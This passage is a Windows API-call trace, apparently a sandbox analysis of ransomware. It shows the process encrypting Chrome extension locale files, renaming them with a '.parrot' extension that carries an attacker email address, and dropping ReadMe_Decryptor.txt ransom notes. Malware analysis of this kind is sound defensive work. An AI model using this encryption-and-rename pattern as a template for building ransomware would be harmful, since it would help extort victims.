lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x5d9a20*, lpNumberOfBytesWritten=0x18da44*=0x258, lpOverlapped=0x0) returned 1 [0066.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d9a20 | out: hHeap=0x5b0000) returned 1 [0066.182] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x257, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.182] CloseHandle (hObject=0x28c) returned 1 [0066.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d0430 [0066.183] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d0578 [0066.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0430 | out: hHeap=0x5b0000) returned 1 [0066.183] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0066.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0578 | out: hHeap=0x5b0000) returned 1 [0066.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0066.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d01b8 | out: hHeap=0x5b0000) returned 1 [0066.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9a20 [0066.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d9b48 [0066.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0066.229] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0066.230] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0066.230] GetFileType (hFile=0x28c) returned 0x1 [0066.230] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0066.241] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.241] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb54b0ea0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb54b0ea0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.241] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb543ea80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0066.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0066.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0066.241] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.241] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0066.241] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.241] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0066.241] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0066.241] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x109, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0066.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0066.241] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0066.288] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x221, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.288] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0066.289] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0066.289] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.290] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x109, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x109, lpOverlapped=0x0) returned 1 [0066.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0066.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0066.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0066.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0066.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0066.290] GetLastError () returned 0x0 [0066.290] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0066.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0066.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0066.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0066.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0066.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0066.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0066.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0066.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0066.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0066.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0066.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0066.290] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0066.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0066.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0066.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0066.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0066.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0066.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0066.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0066.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0066.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0066.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0066.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0066.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d03a0 [0066.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0066.291] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x228) returned 0x69f268 [0066.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03a0 | out: hHeap=0x5b0000) returned 1 [0066.291] WriteFile (in: hFile=0x28c, lpBuffer=0x69f268*, nNumberOfBytesToWrite=0x228, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x69f268*, lpNumberOfBytesWritten=0x18da44*=0x228, lpOverlapped=0x0) returned 1 [0066.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0066.291] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x221, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.291] CloseHandle (hObject=0x28c) returned 1 [0066.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d03a0 [0066.292] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d04e8 [0066.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03a0 | out: hHeap=0x5b0000) returned 1 [0066.293] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0066.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04e8 | out: hHeap=0x5b0000) returned 1 [0066.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0066.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: hHeap=0x5b0000) returned 1 [0066.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5d9a20 [0066.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d9b48 [0066.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0066.569] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0066.569] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0066.570] GetFileType (hFile=0x28c) returned 0x1 [0066.570] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0066.580] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.580] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5607b00, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5607b00, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.580] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb5549420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0066.580] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0066.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0066.580] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.581] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0066.581] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4cab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e4cab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.581] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0066.581] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0066.581] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e4cab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e4da50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0066.581] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0066.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0066.581] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21b, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.581] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0066.581] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0066.582] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.582] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x103, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x103, lpOverlapped=0x0) returned 1 [0066.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0066.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0066.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0066.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0066.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0066.582] GetLastError () returned 0x0 [0066.583] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0066.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0066.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0066.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0066.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0066.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0066.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0066.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0066.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0066.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0066.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0066.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0066.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0066.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0066.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0066.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0066.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0066.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0066.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0066.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0066.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0066.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0066.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0066.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0066.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0066.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d03a0 [0066.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0066.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x228) returned 0x69f268 [0066.584] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03a0 | out: hHeap=0x5b0000) returned 1 [0066.584] WriteFile (in: hFile=0x28c, lpBuffer=0x69f268*, nNumberOfBytesToWrite=0x228, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x69f268*, lpNumberOfBytesWritten=0x18da44*=0x228, lpOverlapped=0x0) returned 1 [0066.584] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69f268 | out: hHeap=0x5b0000) returned 1 [0066.584] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.584] CloseHandle (hObject=0x28c) returned 1 [0066.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5d03a0 [0066.585] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1de) returned 0x5d04e8 [0066.585] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03a0 | out: hHeap=0x5b0000) returned 1 [0066.585] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0066.664] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04e8 | out: hHeap=0x5b0000) returned 1 [0066.664] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0066.664] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: 